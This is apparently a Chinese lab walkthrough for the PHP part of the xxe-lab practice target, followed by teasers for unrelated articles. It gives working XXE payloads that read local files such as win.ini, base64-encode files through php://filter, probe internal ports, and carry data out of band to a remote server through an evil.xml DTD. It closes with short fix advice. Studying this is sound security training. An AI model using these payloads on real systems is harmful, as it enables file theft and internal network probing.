XXE-lab-master靶场:PHP_xxe
目录
有回显
测试回显位置
构建payload
无回显数据外带
构建payload
漏洞修复

XXE-lab是一个一个包含php,java,python,C#等各种语言版本的XXE漏洞靶场。
下载地址:https://github.com/c0ny1/xxe-lab
将PHPStudy的中间件与版本信息调制为 php-5.4.29+Apache 以下,然后访问以下地址开始练习
http://127.0.0.1/xxe-lab-master/php_xxe/
有回显
打开PHP_XXE目录下的 index.html 文件查看源代码,发现73行会在 Login按钮下会触发JavaScript脚本的 doLogin() 函数。
查看 doLogin() 函数定义代码,发现 JavaScript 脚本会将用户输入的 username 和 password 拼接为xml格式的数据,并且利用 ajax 的方法提交,提交时 xml 的数据被当作 POST 数据包的内容提交。
打开后端的 doLogin.php 文件在该 PHP 文件中,主要是接收POST请求的内容,并将其转化为XML对象,然后提取XML对象中的 username 和 password 字段。然后比对两个字段值分别是否相等。
libxml_disable_entity_loader(Fash)
代码意思是设置允许PHP加载外部实体,这也是本靶场的漏洞产生主要原因。在生产环境下需要将这里的False改为True,即可避免产生XXE漏洞。
loadXML()
该函数可以将一个输入的字符串转化为DOMDocument对象。
simplexml_import_dom()
该函数可以把DOM节点转化为SimpleXMLElement对象。
在登录界面输入账号密码并抓取数据包

测试回显位置
通过测试,能看到用户名位置存在有回显的。而后面密码字段就无回显

构建payload
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///c://windows/win.ini">
]><user><username>&name;</username><password>1</password></user>

读取本地文件(写一个 1.txt 文件,内容随便,我这里是 3 个 hello)
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///d://1.txt">
]><user><username>&name;</username><password>1</password></user>

使用PHP伪协议读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">]><user><username>&fl;</username><password>1</password></user>

探测内网存活主机与端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "http://127.0.0.1:3306">]><user><username>&fl;</username><password>1</password></user>

无回显数据外带
把XXE-labs靶场的输出及报错都关闭,模拟无回显情况,把 phpStudy_64\phpstudy_pro\WWW\xxe-lab-master\php_xxe\doLogin.php 的 doLogin.php 中的最后一行代码注释掉,在账号密码上面加一句代码
error_reporting(0);

构建payload
1、 运行下面的XML语法,发现没有了数据回显
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM "http://127.0.0.1:80/1.txt">
%shit;
]>

2、 在远程服务器上创建 evil.xml 文件并使用 Python 开启 http 服务

1.php 内容:
<?php file_put_contents("1.txt", $_GET['file']); ?>
evil.xml内容:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.110.24:8000/1.php?content=%file;'>"> %payload;
python -m http.server 8000

3、构造外部实体并进行访问
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.110.24:8000/evil.xml">
%dtd;
%send;
]>
回到HTTP服务器上发现数据已经带到请求日志上,经Base64解码得出内容


漏洞修复
1、使用开发语言禁用外部实体;
2、过滤 SYSTEM/PUBLIC 等关键字;
相关文章:
XXE-lab-master靶场:PHP_xxe
目录 有回显 测试回显位置 构建payload 无回显数据外带 构建payload 漏洞修复 XXE-lab是一个一个包含php,java,python,C#等各种语言版本的XXE漏洞靶场。 下载地址:https://github.com/c0ny1/xxe-lab 将PHPStudy的中间件与版本信息调制为 php-5.4.29Apache 以…...
视图,存储过程和触发器
目录 视图 创建视图: 视图的使用 查看库中所有的视图 删除视图 视图的作用: 存储过程: 为什么使用存储过程? 什么是存储过程? 存储过程的创建 创建一个最简单的存储过程 使用存储过程 删除存储过程 带参的存储…...
sqli-labs(6-10)关通关讲解
sqli-labs(6-10)关通关讲解 Less-6 方法一:手工注入 1.判断闭合 http://localhost/sqli-labs/Less-6/?id1" //报错 http://localhost/sqli-labs/Less-6/?id1" -- //正常 http://localhost/sqli-labs/Less-6/?id1" and 11 -- http://localhos…...
【解决方法】git clone出现 curl 56 OpenSSL SSL_read: Connection was reset, errno 10054
当我们克隆别人的项目出现以下提示信息时候 remote: Enumerating objects: 7095, done. error: RPC failed; curl 56 OpenSSL SSL_read: Connection was reset, errno 10054 error: 2292 bytes of body are still expected fetch-pack: unexpected disconnect while reading s…...
机械拆装-基于Unity-本地数据持久化
目录 1. 数据结构简介:数据的集合 1.1 线性数据结构 1.2 非线性数据结构 2. 对数据集合的操作: 3. 数据持久化 3.1 数据的序列化存储 3.2 JSON文件硬盘存储 3.2.1 Json文件允许存储的数据类型 3.2.2 Json文件的语法格式 3.2.3 Json文件的读取 3.2.4 …...
【SpringBoot】4.3.5 参数传递之ModelAndView对象
ModelAndView也是SpringMVC中常用的数据返回对象。当控制器处理完请求时,通常会将包含视图对象和数据的ModelAndView对象一起返回前台。它的作用类似request对象的setAttribute()方法。 ModelAndView对象有两个作用: 1)设置转向地址(这也是ModelAndView和ModelMap的…...
《技术人求职之道》之简历优化篇(上):量身打造简历,如何与自身情况完美匹配
摘要 在求职过程中,简历优化是提升面试机会的关键步骤。本文将探讨如何通过精心设计简历来提高求职成功率。文章将首先指出,不存在完美简历,重要的是根据个人实际情况定制简历。接着,详细介绍撰写简历时应遵循的基本原则和要素&a…...
mysql+php+html实现学生管理系统
mysqlphphtml实现学生管理系统 前言 本文使用Mysqlphphtml实现一个简单的学生管理系统,实现了登陆,注册,总览学生信息,添加学生,查询特定的学生,删除指定的学生等功能。并且本文仅用来学习就够了…...
find+rm一行命令删除文件夹及子文件夹下文件,不删除子文件夹,或者用python实现
如果你正在使用类Unix操作系统(如Linux或macOS),并希望使用命令行工具rm来删除一个文件夹及其子文件夹下的所有文件,同时保留文件夹结构,你可以使用find命令配合rm来实现这一操作。这种方法非常高效且常用于批量删除文…...
超详细的linux-conda环境安装教程
安装和配置Linux系统中的Conda环境是一个强大的工具,它可以帮助用户管理Python及其库。以下是一份超详细的Linux-Conda环境安装教程: 1. 安装前的准备 确保你的Linux系统已经更新到最新版本,并安装了基本的开发工具和库。 sudo apt-get up…...
vite项目构建配置
1、用vite搭建项目 使用npm create vitelatest构建项目,配置项选项react->tsSWC即可。 让后打开项目npm i。 2、项目配置 2.1、vite配置 主要是配置用到的插件(plugins--比如:svg、mock等)、路径、环境变量的使用、打包、…...
Java 反射机制与Spring框架的那点事
Java 反射机制是 Java 语言提供的一种能力,允许程序在运行时查询、访问和修改它自己的结构和行为。反射机制非常有用,但同时也需要谨慎使用,因为它可能会带来性能开销和安全风险。 以下是 Java 反射机制的一些关键概念和用法: Cl…...
计算机网络面试题3
四次挥手 断开连接需要四次挥手 1.客户端发送一个FIN(SEQx)标志的数据包到服务端,用来关闭客户端到服务端的数据传送, 然后客户端进入FIN-WAIT-1状态。 2.服务端收到一个FIN(SEQx)标志的数据包,它…...
day54|110.字符串接龙, 105.有向图的完全可达性, 106.岛屿的周长
110.字符串接龙 110. 字符串接龙 (kamacoder.com) #include<iostream> #include<vector> #include<unordered_set> #include<unordered_map> #include<string> #include<queue>using namespace std;int main(){int n 0;cin >> n;…...
使用docker在CentOS 7上安装php+mysql+nginx环境教程并运行WordPress
文章目录 一、安装docker1、切换yum源并更新系统2、卸载旧版docker3、配置Docker的yum库4、安装Docker5、启动和校验Docker6、配置镜像加速6.1、注册阿里云账号6.2、开通镜像服务6.3、配置镜像加速二、部署php+mysql+nginx环境1、准备目录结构2、拉取镜像3、运行容器并从中拷贝…...
vite tsx项目的element plus集成 - 按需引入踩坑
前面我们进行了开源组件的自研,很多组件可直接用现成的开源组件库,并不需要自己重复造轮子,为此我们讲如何在当前vite vitepress tsx技术整合的项目中实现element plus组件的按需引入,同时解决遇到的一些坑。 安装Element Plus…...
Android GreenDao 升级 保留旧表数据
Android GreenDao 升级 保留旧表数据 大川的川关注IP属地: 北京 0.2052019.08.05 11:54:36字数 270阅读 363 瓦力和伊娃 GreenDao升级库版本号之后,以前的旧数据没有了,为啥,因为GreenDao在升级的时候会删除旧库,创建新库&#…...
记一次证书站有趣的SQL注入
一、确定站点 按照以前文章中提到的寻找可进站测试的思路,找到了某证书站的一处站点,通告栏中写明了初始密码的结构,因此我们可通过信息搜集进入该站点(可以考虑去搜集比较老的学号,因为这样的账号要么被冻结,要么就是…...
1_初识pytorch
之前完全没有了解过深度学习和pytorch,但现在因为某些原因不得不学了。不得不感叹,深度学习是真的火啊。纯小白,有错的欢迎指正~ 参考视频:PyTorch深度学习快速入门教程(绝对通俗易懂!)【小土堆…...
c++typeid()的使用
用处: typeid()函数主要用来获取对应类型或者变量的类型信息,其返回一个std::type_info的对象,这个对象中存放了对应类型的具体信息。 所以typeid()函数就是获取一个type_info的类型,然后可以通过此类型来获取到相应的类型信息。 type_info的…...
STM32F407 + RT-Thread 实战:从工程结构到多线程 LED 闪烁
一、工程简介最近看了一个基于 STM32F407 的 RT-Thread 工程,整体结构比较标准,功能上也比较适合作为入门练手项目。这个工程的核心功能并不复杂,主要是通过 RT-Thread 创建多个线程,分别控制不同的 LED 引脚按不同节奏闪烁。虽然…...
5步彻底解决显卡风扇异常:FanControl专业调校完全指南
5步彻底解决显卡风扇异常:FanControl专业调校完全指南 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/fa…...
如何在15分钟内搭建个人游戏串流服务器:Sunshine跨平台游戏串流终极指南
如何在15分钟内搭建个人游戏串流服务器:Sunshine跨平台游戏串流终极指南 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 想要在任何设备上畅玩PC游戏大作吗?…...
Unity动态设置Layer与摄像机屏蔽的完整闭环方案
1. 这不是“加个Layer”那么简单:为什么动态设置Layer常被误用却没人深究在Unity项目里,我见过太多人把“给GameObject动态设置Layer”当成一个随手就能调用的API——go.layer 12;,敲完回车,心里就默认“好了”。结果跑起来发现&…...
实时洞察,视觉赋能:国内情绪识别API公司推荐及计算机视觉流派深度解析
引言在人工智能与各行业深度融合的今天,通过非接触方式理解用户情绪、生理状态与心理倾向,已成为人机交互、安全防控、健康管理等领域的关键能力。本文围绕提供情绪识别类API的公司类型,梳理国内情绪识别的主流技术路径,并重点解析…...
2026最新测评:4款海外降英文文本AIGC工具实测
我用GPT写了一篇英文技术报告,然后分别扔进4个降AI工具。结果出乎意料。如果你经常用ChatGPT、Claude或Gemini写英文内容——无论是论文摘要、技术文档、公司报告还是博客文章——你一定遇到过这个尴尬:明明内容是自己构思、自己修改的,但Tur…...
别再装ModelSim了!用HDLBits网页版5分钟搞定Verilog仿真和波形图
5分钟极速验证:用HDLBits网页版替代传统Verilog仿真工具 在图书馆公用电脑上突然有了个FPGA设计灵感,却发现自己没装ModelSim?公司电脑没有管理员权限,无法安装Vivado Simulator?别急着放弃——打开浏览器,…...
circumflex 语法高亮功能详解:让评论和文章更易读的终极指南
circumflex 语法高亮功能详解:让评论和文章更易读的终极指南 【免费下载链接】circumflex 🌿 Its Hacker News in your terminal 项目地址: https://gitcode.com/gh_mirrors/ci/circumflex circumflex 是一个强大的终端 Hacker News 浏览器&#…...
动态图神经网络实现多商品时序协同预测
1. 项目概述:为什么传统时序模型在多商品预测中频频“掉链子”你有没有遇到过这样的场景:一家区域连锁超市的运营团队,每天盯着几十种SKU的销售数据发愁——酸奶销量突然飙升,但库存系统还在按上周的均值补货;新款保温…...
Open MCT性能测试实战:JMeter多协议分层压测方法
1. 为什么Open MCT的性能不能只靠“感觉”来判断?Open MCT——NASA开源的航天器监控与控制系统可视化平台,这几年在工业物联网、能源调度、科研实验数据看板等场景里越来越常见。但凡接触过它的人,几乎都会在部署后遇到同一个问题:…...
